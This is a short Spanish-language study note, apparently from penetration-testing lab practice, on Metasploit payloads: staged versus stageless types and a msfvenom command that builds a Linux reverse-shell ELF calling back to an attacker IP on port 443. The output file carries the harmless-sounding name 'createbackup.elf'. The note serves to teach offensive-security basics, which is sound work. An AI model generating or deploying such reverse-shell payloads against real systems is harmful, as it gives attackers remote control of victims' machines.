Un payload suele ser el código o las instrucciones que aprovechan una debilidad en un sistema (la máquina víctima) para hacer algo no autorizado
Tipos
- Staged (con etapas): Envía un pequeño fragmento inicial al objetivo que luego descarga el resto el payload desde la máquina atacante
- Ejemplo: linux/x86/shell/reverse_tcp
- Stageless (sin etapas): Envía todo el payload en un solo paso
- Ejemplo: linux/zarch/meterpreter_reverse_tcp
Crear Payload Msfvenom
terminal
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
- p: Define el tipo de payload.
- LHOST y LPORT: Dirección IP y puerto de la máquina atacante.
- f elf: Especifica el formato del payload (en este caso, ELF para Linux).
- >: Guarda el payload como un archivo (createbackup.elf).